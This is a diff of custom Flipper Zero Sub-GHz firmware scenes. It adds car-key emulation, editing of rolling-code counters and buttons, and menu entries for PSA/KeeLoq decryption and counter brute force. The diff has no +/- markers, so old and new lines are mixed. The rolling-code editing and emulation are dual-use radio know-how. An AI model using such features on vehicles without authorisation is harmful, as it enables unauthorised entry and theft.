@@ -93,7 +95,7 @@ void subghz_scene_receiver_info_draw_widget(SubGhz* subghz) {
subghz_scene_receiver_info_callback,
subghz);
}
// Removed static check
if(subghz_txrx_protocol_is_transmittable(subghz->txrx, false)) {
widget_add_button_element(
subghz->widget,
@@ -101,9 +103,14 @@ void subghz_scene_receiver_info_draw_widget(SubGhz* subghz) {
"Send",
subghz_scene_receiver_info_callback,
subghz);
widget_add_button_element(
subghz->widget,
GuiButtonTypeLeft,
"Full",
subghz_scene_receiver_info_callback,
subghz);
}
} else {
// [NO_DOLPHIN] widget_add_icon_element(subghz->widget, 83, 22, &I_WarningDolphinFlip_45x42);
widget_add_string_element(
subghz->widget, 13, 8, AlignLeft, AlignBottom, FontSecondary, "Error history parse.");
}
@@ -131,12 +138,7 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
if(!subghz_scene_receiver_info_update_parser(subghz)) {
return false;
}
//CC1101 Stop RX -> Start TX
subghz_txrx_hopper_pause(subghz->txrx);
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
if(!subghz_tx_start(
@@ -146,37 +148,51 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
subghz_txrx_hopper_unpause(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateRx;
subghz_block_generic_global.endless_tx = false;
return true;
}
return true;
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
//CC1101 Stop Tx -> next tick event Start RX
// user release OK
// we switch off endless_tx - that mean protocols yield finish endless transmission,
// send upload "repeat=xx" times, and after will be stoped by the tick event down in this code
subghz->state_notifications = SubGhzNotificationStateTxWait;
subghz_block_generic_global.endless_tx = false;
return true;
} else if(event.event == SubGhzCustomEventSceneReceiverInfoSave) {
//CC1101 Stop RX -> Save
subghz->state_notifications = SubGhzNotificationStateIDLE;
subghz_txrx_hopper_set_state(subghz->txrx, SubGhzHopperStateOFF);
subghz_txrx_stop(subghz->txrx);
if(!subghz_scene_receiver_info_update_parser(subghz)) {
return false;
}
if(subghz_txrx_protocol_is_serializable(subghz->txrx)) {
subghz_file_name_clear(subghz);
subghz->save_datetime =
subghz_history_get_datetime(subghz->history, subghz->idx_menu_chosen);
subghz->save_datetime_set = true;
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSaveName);
}
return true;
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxFullDpad) {
if(!subghz_scene_receiver_info_update_parser(subghz)) {
return false;
}
FlipperFormat* fff_history =
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen);
FlipperFormat* fff_data = subghz_txrx_get_fff_data(subghz->txrx);
Stream* src = flipper_format_get_raw_stream(fff_history);
Stream* dst = flipper_format_get_raw_stream(fff_data);
stream_seek(src, 0, StreamOffsetFromStart);
stream_clean(dst);
stream_copy_full(src, dst);
stream_seek(dst, 0, StreamOffsetFromStart);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
return true;
}
} else if(event.type == SceneManagerEventTypeTick) {
if(subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF) {
subghz_txrx_hopper_update(subghz->txrx, subghz->last_settings->hopping_threshold);
@@ -193,18 +209,15 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
subghz->state_notifications = SubGhzNotificationStateRx;
break;
case SubGhzNotificationStateTxWait:
// we wait until hardware TX finished and after stop TX and start RX, else just blink led
if(!subghz_devices_is_async_complete_tx(subghz->txrx->radio_device)) {
notification_message(subghz->notifications, &sequence_blink_magenta_10);
} else {
subghz_txrx_stop(subghz->txrx);
// update screen
widget_reset(subghz->widget);
subghz_scene_receiver_info_draw_widget(subghz);
subghz->state_notifications = SubGhzNotificationStateIDLE;
if(!scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneDecodeRAW)) {
if(!scene_manager_has_previous_scene(
subghz->scene_manager, SubGhzSceneDecodeRAW)) {
subghz_txrx_rx_start(subghz->txrx);
subghz_txrx_hopper_unpause(subghz->txrx);
if(!subghz_history_get_text_space_left(subghz->history, NULL)) {
@@ -222,7 +235,6 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
void subghz_scene_receiver_info_on_exit(void* context) {
SubGhz* subghz = context;
widget_reset(subghz->widget);
subghz_txrx_reset_dynamic_and_custom_btns(subghz->txrx);
}
@@ -110,6 +110,7 @@ bool subghz_scene_save_name_on_event(void* context, SceneManagerEvent event) {
} else if(event.type == SceneManagerEventTypeCustom) {
if(event.event == SubGhzCustomEventSceneSaveName) {
if(strcmp(subghz->file_name_tmp, "") != 0) {
furi_string_reset(subghz->error_str);
furi_string_cat_printf(
subghz->file_path,
"/%s%s",
@@ -12,8 +12,14 @@ void subghz_scene_save_success_on_enter(void* context) {
// Setup view
Popup* popup = subghz->popup;
// [NO_DOLPHIN] popup_set_icon(popup, 36, 5, &I_DolphinSaved_92x58);
popup_set_header(popup, "Saved", 15, 19, AlignLeft, AlignBottom);
popup_set_timeout(popup, 1500);
if(furi_string_size(subghz->error_str)) {
popup_set_header(popup, "Saved", 15, 4, AlignLeft, AlignTop);
popup_set_text(popup, furi_string_get_cstr(subghz->error_str), 4, 18, AlignLeft, AlignTop);
popup_set_timeout(popup, 2500);
} else {
popup_set_header(popup, "Saved", 15, 19, AlignLeft, AlignBottom);
popup_set_timeout(popup, 1500);
}
popup_set_context(popup, subghz);
popup_set_callback(popup, subghz_scene_save_success_popup_callback);
popup_enable_timeout(popup);
@@ -72,4 +78,5 @@ void subghz_scene_save_success_on_exit(void* context) {
Popup* popup = subghz->popup;
popup_reset(popup);
furi_string_reset(subghz->error_str);
}
@@ -2,11 +2,12 @@
enum SubmenuIndex {
SubmenuIndexEmulate,
SubmenuIndexSignalSettings,
SubmenuIndexPsaDecrypt,
SubmenuIndexEdit,
SubmenuIndexDelete,
SubmenuIndexSignalSettings,
SubmenuIndexCounterBf
SubmenuIndexCounterBf, /* <-- comma was missing here */
SubmenuIndexCarEmulateSettings,
};
void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
@@ -19,17 +20,20 @@ void subghz_scene_saved_menu_on_enter(void* context) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
bool is_psa_encrypted = false;
bool has_signal_editor = false;
bool has_counter = false;
if(fff) {
FuriString* proto = furi_string_alloc();
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", proto)) {
has_signal_editor = !furi_string_equal_str(proto, "RAW");
if(furi_string_equal_str(proto, "PSA GROUP")) {
FuriString* type_str = furi_string_alloc();
flipper_format_rewind(fff);
if(!flipper_format_read_string(fff, "Type", type_str) ||
furi_string_equal_str(type_str, "00")) {
is_psa_encrypted = true;
has_signal_editor = false;
}
furi_string_free(type_str);
}
@@ -52,6 +56,15 @@ void subghz_scene_saved_menu_on_enter(void* context) {
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
if(has_signal_editor) {
submenu_add_item(
subghz->submenu,
"Signal Editor",
SubmenuIndexSignalSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
}
if(is_psa_encrypted) {
@@ -77,14 +90,12 @@ void subghz_scene_saved_menu_on_enter(void* context) {
subghz_scene_saved_menu_submenu_callback,
subghz);
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
submenu_add_item(
subghz->submenu,
"Signal Settings",
SubmenuIndexSignalSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
submenu_add_item(
subghz->submenu,
"Custom Emulate Settings",
SubmenuIndexCarEmulateSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
if(has_counter) {
submenu_add_item(
@@ -109,7 +120,12 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
if(event.event == SubmenuIndexEmulate) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
if(subghz->last_settings->custom_car_emulate) {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulate);
} else {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
}
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
@@ -136,6 +152,14 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCounterBf);
return true;
} else if(event.event == SubmenuIndexCarEmulateSettings) {
/* <-- was outside the if block due to misplaced brace, now fixed */
scene_manager_set_scene_state(
subghz->scene_manager,
SubGhzSceneSavedMenu,
SubmenuIndexCarEmulateSettings);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneCarEmulateSettings);
return true;
}
}
return false;
@@ -1,10 +1,14 @@
#include "../subghz_i.h"
#include "subghz/types.h"
#include "../helpers/subghz_button_labels.h"
#include "../helpers/subghz_custom_event.h"
#include <lib/toolbox/value_index.h>
#include <machine/endian.h>
#include <toolbox/strint.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#include <string.h>
#include <stdio.h>
#define TAG "SubGhzSceneSignalSettings"
@@ -13,6 +17,8 @@ static uint32_t counter32 = 0x0;
static uint16_t counter16 = 0x0;
static uint8_t cnt_byte_count = 0;
static uint8_t* cnt_byte_ptr = NULL;
static uint32_t counter_value = 0;
static uint32_t counter_mask = 0xffffffffUL;
static FuriString* byte_input_text;
@@ -21,6 +27,26 @@ static uint8_t btn_byte_count = 1;
static uint8_t* btn_byte_ptr = NULL;
static uint8_t submenu_called = 0;
static bool button_uses_custom_btn = false;
static uint8_t button_custom_id = SUBGHZ_CUSTOM_BTN_OK;
static bool subghz_scene_signal_settings_rebuild_save_reload(
SubGhz* subghz,
bool use_custom_btn,
uint8_t custom_btn_id);
enum {
SignalSettingsIndexCounterMode,
SignalSettingsIndexCounter,
SignalSettingsIndexButton,
};
enum {
SignalSettingsCounterStepDown,
SignalSettingsCounterStepValue,
SignalSettingsCounterStepUp,
SignalSettingsCounterStepCount,
};
#define COUNTER_MODE_COUNT 8
static const char* const counter_mode_text[COUNTER_MODE_COUNT] = {
@@ -45,6 +71,30 @@ static const int32_t counter_mode_value[COUNTER_MODE_COUNT] = {
7,
};
static const uint8_t button_value[] = {
SUBGHZ_CUSTOM_BTN_OK,
SUBGHZ_CUSTOM_BTN_UP,
SUBGHZ_CUSTOM_BTN_DOWN,
SUBGHZ_CUSTOM_BTN_LEFT,
SUBGHZ_CUSTOM_BTN_RIGHT,
5,
6,
7,
};
#define BUTTON_VALUE_COUNT SUBGHZ_BUTTON_LABEL_COUNT
static const char* button_labels[BUTTON_VALUE_COUNT] = {
"Original",
"Up",
"Down",
"Left",
"Right",
"Button 5",
"Button 6",
"Button 7",
};
typedef struct {
char* name;
uint8_t mode_count;
@@ -59,7 +109,206 @@ static Protocols protocols[] = {
{"Phoenix_V2", 3},
};
#define PROTOCOLS_COUNT (sizeof(protocols) / sizeof(Protocols));
#define PROTOCOLS_COUNT (sizeof(protocols) / sizeof(Protocols))
static void subghz_scene_signal_settings_reset_button_labels(void) {
subghz_button_labels_reset(button_labels);
}
static void subghz_scene_signal_settings_apply_button_labels(const char* protocol) {
subghz_button_labels_apply_protocol(protocol, button_labels);
}
static const char* subghz_scene_signal_settings_get_button_label(uint8_t custom_btn_id) {
return subghz_button_labels_get(
button_labels, custom_btn_id, subghz_custom_btn_get_original());
}
static bool subghz_scene_signal_settings_update_uint32_field(
FlipperFormat* fff,
const char* key,
uint32_t value) {
flipper_format_rewind(fff);
return flipper_format_insert_or_update_uint32(fff, key, &value, 1);
}
static uint32_t subghz_scene_signal_settings_counter_get_mask(void) {
uint8_t bits = subghz_block_generic_global.cnt_length_bit;
if((bits == 0) || (bits >= 32)) {
return 0xffffffffUL;
}
return (1UL << bits) - 1UL;
}
static void subghz_scene_signal_settings_counter_sync_byte_input(void) {
if(cnt_byte_count == 4) {
counter32 = __bswap32(counter_value);
cnt_byte_ptr = (uint8_t*)&counter32;
} else if(cnt_byte_count == 2) {
counter16 = __bswap16((uint16_t)counter_value);
cnt_byte_ptr = (uint8_t*)&counter16;
}
}
static void subghz_scene_signal_settings_counter_set_value(uint32_t value) {
counter_value = value & counter_mask;
subghz_scene_signal_settings_counter_sync_byte_input();
}
static void subghz_scene_signal_settings_counter_format(FuriString* text) {
if(cnt_byte_count == 4) {
furi_string_printf(text, "%lX", (unsigned long)counter_value);
} else {
furi_string_printf(text, "%X", (unsigned int)(counter_value & 0xffffU));
}
}
static void subghz_scene_signal_settings_counter_update_item(VariableItem* item) {
char text[9] = {0};
variable_item_set_current_value_index(item, SignalSettingsCounterStepValue);
if(cnt_byte_count == 4) {
snprintf(text, sizeof(text), "%lX", (unsigned long)counter_value);
} else {
snprintf(text, sizeof(text), "%X", (unsigned int)(counter_value & 0xffffU));
}
variable_item_set_current_value_text(item, text);
}
static bool subghz_scene_signal_settings_counter_save(SubGhz* subghz) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
if(!subghz_scene_signal_settings_update_uint32_field(fff, "Cnt", counter_value)) {
FURI_LOG_E(TAG, "Error update/insert Cnt value");
dialog_message_show_storage_error(subghz->dialogs, "Cannot save\ncounter");
return false;
}
subghz_block_generic_global_counter_override_set(counter_value);
return subghz_scene_signal_settings_rebuild_save_reload(subghz, false, SUBGHZ_CUSTOM_BTN_OK);
}
static bool subghz_scene_signal_settings_hex_digit(char c, uint8_t* value) {
if(c >= '0' && c <= '9') {
*value = c - '0';
return true;
} else if(c >= 'a' && c <= 'f') {
*value = c - 'a' + 10;
return true;
} else if(c >= 'A' && c <= 'F') {
*value = c - 'A' + 10;
return true;
}
return false;
}
static bool subghz_scene_signal_settings_parse_hex_field(
const char* text,
const char* marker,
uint32_t* value,
uint8_t* length_bit) {
const char* field = strstr(text, marker);
if(!field) return false;
field += strlen(marker);
while(*field == ' ' || *field == '\t') {
field++;
}
uint32_t parsed = 0;
uint8_t digits = 0;
uint8_t digit_value = 0;
while(digits < 8 && subghz_scene_signal_settings_hex_digit(*field, &digit_value)) {
parsed = (parsed << 4) | digit_value;
digits++;
field++;
}
if(digits == 0) return false;
*value = parsed;
*length_bit = digits * 4;
return true;
}
static void subghz_scene_signal_settings_apply_text_fallback(FuriString* decoded_text) {
uint32_t value = 0;
uint8_t length_bit = 0;
const char* text = furi_string_get_cstr(decoded_text);
if(!subghz_block_generic_global.cnt_is_available &&
subghz_scene_signal_settings_parse_hex_field(text, "Cnt:", &value, &length_bit)) {
subghz_block_generic_global.cnt_is_available = true;
subghz_block_generic_global.current_cnt = value;
subghz_block_generic_global.cnt_length_bit = length_bit;
}
if(!subghz_block_generic_global.btn_is_available &&
subghz_scene_signal_settings_parse_hex_field(text, "Btn:", &value, &length_bit)) {
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = value & 0xFF;
subghz_block_generic_global.btn_length_bit = length_bit > 8 ? 8 : length_bit;
}
}
static void subghz_scene_signal_settings_apply_file_fallback(FlipperFormat* fff) {
uint32_t value = 0;
if(!subghz_block_generic_global.cnt_is_available) {
flipper_format_rewind(fff);
if(flipper_format_read_uint32(fff, "Cnt", &value, 1)) {
subghz_block_generic_global.cnt_is_available = true;
subghz_block_generic_global.current_cnt = value;
subghz_block_generic_global.cnt_length_bit = 32;
}
}
if(!subghz_block_generic_global.btn_is_available) {
flipper_format_rewind(fff);
if(flipper_format_read_uint32(fff, "Btn", &value, 1)) {
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = value & 0xFF;
subghz_block_generic_global.btn_length_bit = 8;
}
}
}
static bool subghz_scene_signal_settings_rebuild_save_reload(
SubGhz* subghz,
bool use_custom_btn,
uint8_t custom_btn_id) {
const char* file_path = furi_string_get_cstr(subghz->file_path);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
bool updated = false;
int32_t counter_mult = furi_hal_subghz_get_rolling_counter_mult();
furi_hal_subghz_set_rolling_counter_mult(0);
if(use_custom_btn) {
subghz_custom_btn_set(custom_btn_id);
}
do {
if(!subghz_txrx_rebuild_from_fff(subghz->txrx, fff)) {
FURI_LOG_E(TAG, "Error rebuilding protocol data");
break;
}
if(!subghz_save_protocol_to_file(subghz, fff, file_path)) {
FURI_LOG_E(TAG, "Error saving edited signal");
break;
}
if(!subghz_key_load(subghz, file_path, false)) {
FURI_LOG_E(TAG, "Error reloading edited signal");
break;
}
updated = true;
} while(false);
furi_hal_subghz_set_rolling_counter_mult(counter_mult);
if(!updated) {
dialog_message_show_storage_error(subghz->dialogs, "Cannot save\nsignal");
}
return updated;
}
void subghz_scene_signal_settings_counter_mode_changed(VariableItem* item) {
uint8_t index = variable_item_get_current_value_index(item);
@@ -99,6 +348,44 @@ void subghz_scene_signal_settings_counter_mode_changed(VariableItem* item) {
}
}
void subghz_scene_signal_settings_counter_changed(VariableItem* item) {
if(!cnt_byte_ptr || cnt_byte_count == 0) return;
uint8_t index = variable_item_get_current_value_index(item);
if(index == SignalSettingsCounterStepValue) {
subghz_scene_signal_settings_counter_update_item(item);
return;
}
if(index == SignalSettingsCounterStepUp) {
subghz_scene_signal_settings_counter_set_value(counter_value + 1);
} else {
subghz_scene_signal_settings_counter_set_value(counter_value - 1);
}
subghz_scene_signal_settings_counter_update_item(item);
SubGhz* subghz = variable_item_get_context(item);
furi_assert(subghz);
subghz_scene_signal_settings_counter_save(subghz);
}
void subghz_scene_signal_settings_button_changed(VariableItem* item) {
uint8_t index = variable_item_get_current_value_index(item);
if(index >= BUTTON_VALUE_COUNT) index = 0;
button_custom_id = button_value[index];
variable_item_set_current_value_text(
item, subghz_scene_signal_settings_get_button_label(button_custom_id));
if(!button_uses_custom_btn) return;
SubGhz* subghz = variable_item_get_context(item);
furi_assert(subghz);
subghz_scene_signal_settings_rebuild_save_reload(subghz, true, button_custom_id);
}
void subghz_scene_signal_settings_byte_input_callback(void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, SubGhzCustomEventByteInputDone);
@@ -108,8 +395,10 @@ void subghz_scene_signal_settings_variable_item_list_enter_callback(void* contex
SubGhz* subghz = context;
// when we click OK on "Edit counter" item
if(index == 1) {
if(index == SignalSettingsIndexCounter) {
if(!cnt_byte_ptr || cnt_byte_count == 0) return;
submenu_called = 1;
furi_string_set_str(byte_input_text, "Enter ");
furi_string_cat_printf(byte_input_text, "%i", subghz_block_generic_global.cnt_length_bit);
furi_string_cat_str(byte_input_text, "-bits counter in HEX");
@@ -127,8 +416,10 @@ void subghz_scene_signal_settings_variable_item_list_enter_callback(void* contex
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdByteInput);
}
// when we click OK on "Edit button" item
if(index == 2) {
if(index == SignalSettingsIndexButton && !button_uses_custom_btn) {
if(!btn_byte_ptr || btn_byte_count == 0) return;
submenu_called = 2;
furi_string_set_str(byte_input_text, "Enter ");
furi_string_cat_printf(byte_input_text, "%i", subghz_block_generic_global.btn_length_bit);
furi_string_cat_str(byte_input_text, "-bits button in HEX");
@@ -150,6 +441,22 @@ void subghz_scene_signal_settings_variable_item_list_enter_callback(void* contex
void subghz_scene_signal_settings_on_enter(void* context) {
SubGhz* subghz = context;
counter32 = 0;
counter16 = 0;
cnt_byte_count = 0;
cnt_byte_ptr = NULL;
counter_value = 0;
counter_mask = 0xffffffffUL;
button = 0;
btn_byte_count = 1;
btn_byte_ptr = NULL;
submenu_called = 0;
button_uses_custom_btn = false;
button_custom_id = SUBGHZ_CUSTOM_BTN_OK;
subghz_block_generic_global_reset(NULL);
subghz_custom_btns_reset();
subghz_scene_signal_settings_reset_button_labels();
// ### Counter mode section ###
// When we open saved file we do some check and fill up subghz->file_path.
@@ -162,6 +469,7 @@ void subghz_scene_signal_settings_on_enter(void* context) {
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
FuriString* tmp_text = furi_string_alloc_set_str("");
FuriString* protocol_name = furi_string_alloc();
uint32_t tmp_counter_mode = 0;
counter_mode = 0xff;
@@ -174,8 +482,9 @@ void subghz_scene_signal_settings_on_enter(void* context) {
FURI_LOG_E(TAG, "Error open file %s", file_path);
} else {
flipper_format_read_string(fff_data_file, "Protocol", tmp_text);
furi_string_set(protocol_name, tmp_text);
// compare available protocols names, load CounterMode value from file and setup variable_item_list values_count
for(uint8_t i = 0; i < PROTOCOLS_COUNT i++) {
for(uint8_t i = 0; i < PROTOCOLS_COUNT; i++) {
if(!strcmp(furi_string_get_cstr(tmp_text), protocols[i].name)) {
mode_count = protocols[i].mode_count;
if(flipper_format_read_uint32(fff_data_file, "CounterMode", &tmp_counter_mode, 1)) {
@@ -223,7 +532,10 @@ void subghz_scene_signal_settings_on_enter(void* context) {
// deserialaze and decode loaded sugbhz file and push data to subghz_block_generic_global variable
if(subghz_protocol_decoder_base_deserialize(decoder, subghz_txrx_get_fff_data(subghz->txrx)) ==
SubGhzProtocolStatusOk) {
subghz_scene_signal_settings_apply_button_labels(furi_string_get_cstr(protocol_name));
subghz_protocol_decoder_base_get_string(decoder, tmp_text);
subghz_scene_signal_settings_apply_text_fallback(tmp_text);
subghz_scene_signal_settings_apply_file_fallback(subghz_txrx_get_fff_data(subghz->txrx));
} else {
FURI_LOG_E(TAG, "Cant deserialize this subghz file");
}
@@ -232,55 +544,75 @@ void subghz_scene_signal_settings_on_enter(void* context) {
if(!subghz_block_generic_global.cnt_is_available) {
counter_mode = 0xff;
furi_string_set_str(tmp_text, "-");
FURI_LOG_D(TAG, "Counter mode and edit not available for this protocol");
} else {
counter_not_available = false;
counter_mask = subghz_scene_signal_settings_counter_get_mask();
// Check is there byte_count more than 2 hex bytes long or not
// To show hex value we must correct revert bytes for ByteInput view with __bswapХХ
// ByteInput stores the visible hex value as big-endian bytes.
if(subghz_block_generic_global.cnt_length_bit > 16) {
counter32 = subghz_block_generic_global.current_cnt;
furi_string_printf(tmp_text, "%lX", counter32);
counter32 = __bswap32(counter32);
cnt_byte_ptr = (uint8_t*)&counter32;
cnt_byte_count = 4;
} else {
counter16 = subghz_block_generic_global.current_cnt;
furi_string_printf(tmp_text, "%X", counter16);
counter16 = __bswap16(counter16);
cnt_byte_ptr = (uint8_t*)&counter16;
cnt_byte_count = 2;
}
subghz_scene_signal_settings_counter_set_value(subghz_block_generic_global.current_cnt);
subghz_scene_signal_settings_counter_format(tmp_text);
}
item = variable_item_list_add(variable_item_list, "Edit Counter", 1, NULL, subghz);
variable_item_set_current_value_index(item, 0);
item = variable_item_list_add(
variable_item_list,
"Edit Counter",
counter_not_available ? 1 : SignalSettingsCounterStepCount,
counter_not_available ? NULL : subghz_scene_signal_settings_counter_changed,
subghz);
variable_item_set_current_value_index(
item, counter_not_available ? 0 : SignalSettingsCounterStepValue);
variable_item_set_current_value_text(item, furi_string_get_cstr(tmp_text));
variable_item_set_locked(item, (counter_not_available), "Not available\nfor this\nprotocol !");
//
// ### Button edit section ###
if(!subghz_block_generic_global.btn_is_available) {
if(subghz_custom_btn_is_allowed()) {
uint8_t max_custom_btn = subghz_custom_btn_get_max();
uint8_t custom_button_count = max_custom_btn + 1;
if(custom_button_count > BUTTON_VALUE_COUNT) custom_button_count = BUTTON_VALUE_COUNT;
button_uses_custom_btn = custom_button_count > 1;
}
if(button_uses_custom_btn) {
button_not_available = false;
furi_string_set_str(
tmp_text, subghz_scene_signal_settings_get_button_label(SUBGHZ_CUSTOM_BTN_OK));
} else if(!subghz_block_generic_global.btn_is_available) {
furi_string_set_str(tmp_text, "-");
FURI_LOG_D(TAG, "Button edit not available for this protocol");
} else {
button_not_available = false;
button = subghz_block_generic_global.current_btn;
furi_string_printf(tmp_text, "%X", button);
btn_byte_ptr = (uint8_t*)&button;
furi_string_printf(tmp_text, "%X", button);
}
item = variable_item_list_add(variable_item_list, "Edit Button", 1, NULL, subghz);
uint8_t button_count = 1;
if(button_uses_custom_btn) {
button_count = subghz_custom_btn_get_max() + 1;
if(button_count > BUTTON_VALUE_COUNT) button_count = BUTTON_VALUE_COUNT;
}
item = variable_item_list_add(
variable_item_list,
button_uses_custom_btn ? "Button" : "Edit Button",
button_count,
button_uses_custom_btn ? subghz_scene_signal_settings_button_changed : NULL,
subghz);
variable_item_set_current_value_index(item, 0);
variable_item_set_current_value_text(item, furi_string_get_cstr(tmp_text));
variable_item_set_locked(item, (button_not_available), "Not available\nfor this\nprotocol !");
//
furi_assert(cnt_byte_ptr);
furi_assert(cnt_byte_count > 0);
furi_assert(btn_byte_ptr);
furi_string_free(tmp_text);
furi_string_free(protocol_name);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
}
@@ -290,23 +622,21 @@ bool subghz_scene_signal_settings_on_event(void* context, SceneManagerEvent even
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == SubGhzCustomEventByteInputDone) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
switch(submenu_called) {
// edit counter
case 1:
switch(cnt_byte_count) {
case 2:
// set new cnt value and override_flag to global variable and call transmit to generate and save subghz signal
counter16 = __bswap16(counter16);
subghz_block_generic_global_counter_override_set(counter16);
subghz_tx_start(subghz, subghz_txrx_get_fff_data(subghz->txrx));
subghz_txrx_stop(subghz->txrx);
subghz_scene_signal_settings_counter_set_value(counter16);
subghz_scene_signal_settings_counter_save(subghz);
break;
case 4:
// the same for 32 bit Counter
counter32 = __bswap32(counter32);
subghz_block_generic_global_counter_override_set(counter32);
subghz_tx_start(subghz, subghz_txrx_get_fff_data(subghz->txrx));
subghz_txrx_stop(subghz->txrx);
subghz_scene_signal_settings_counter_set_value(counter32);
subghz_scene_signal_settings_counter_save(subghz);
break;
default:
break;
@@ -314,14 +644,10 @@ bool subghz_scene_signal_settings_on_event(void* context, SceneManagerEvent even
break;
// edit button
case 2:
subghz_scene_signal_settings_update_uint32_field(fff, "Btn", button);
subghz_block_generic_global_button_override_set(button);
// save counter mult to rewrite subghz singnal without changing counter
int32_t tmp_counter = furi_hal_subghz_get_rolling_counter_mult();
furi_hal_subghz_set_rolling_counter_mult(0);
subghz_tx_start(subghz, subghz_txrx_get_fff_data(subghz->txrx));
subghz_txrx_stop(subghz->txrx);
// restore counter mult
furi_hal_subghz_set_rolling_counter_mult(tmp_counter);
subghz_scene_signal_settings_rebuild_save_reload(
subghz, false, SUBGHZ_CUSTOM_BTN_OK);
break;
default:
@@ -330,13 +656,10 @@ bool subghz_scene_signal_settings_on_event(void* context, SceneManagerEvent even
scene_manager_previous_scene(subghz->scene_manager);
return true;
} else {
if(event.type == SceneManagerEventTypeBack) {
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
return false;
}
@@ -352,4 +675,5 @@ void subghz_scene_signal_settings_on_exit(void* context) {
byte_input_set_result_callback(subghz->byte_input, NULL, NULL, NULL, NULL, 0);
byte_input_set_header_text(subghz->byte_input, "");
furi_string_free(byte_input_text);
subghz_custom_btns_reset();
}
+10
View File
@@ -206,6 +206,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
SubGhzViewIdKeeloqDecrypt,
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
subghz->car_emulate_view = subghz_car_emulate_view_alloc();
view_dispatcher_add_view(
subghz->view_dispatcher,
SubGhzViewIdCarEmulate,
subghz_car_emulate_view_get_view(subghz->car_emulate_view));
//init threshold rssi
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
@@ -321,6 +327,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
// Custom car-emulate view
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
subghz_car_emulate_view_free(subghz->car_emulate_view);
// Read RAW
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
subghz_read_raw_free(subghz->subghz_read_raw);
+3
View File
@@ -43,6 +43,8 @@
#include "helpers/subghz_txrx.h"
#include "helpers/subghz_keeloq_keys.h"
#include "views/subghz_car_emulate.h"
#define SUBGHZ_MAX_LEN_NAME 64
#define SUBGHZ_EXT_PRESET_NAME true
#define SUBGHZ_RAW_THRESHOLD_MIN (-90.0f)
@@ -76,6 +78,7 @@ struct SubGhz {
SubGhzReadRAW* subghz_read_raw;
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
SubGhzCarEmulateView* car_emulate_view;
bool raw_send_only;
bool save_datetime_set;
@@ -22,6 +22,8 @@
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_THRESHOLD "HoppingThreshold"
#define SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP "LedAndPowerAmp"
#define SUBGHZ_LAST_SETTING_FIELD_TX_POWER "TXPower"
#define SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE "CustomCarEmulate"
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER "ProtocolFilterOff"
SubGhzLastSettings* subghz_last_settings_alloc(void) {
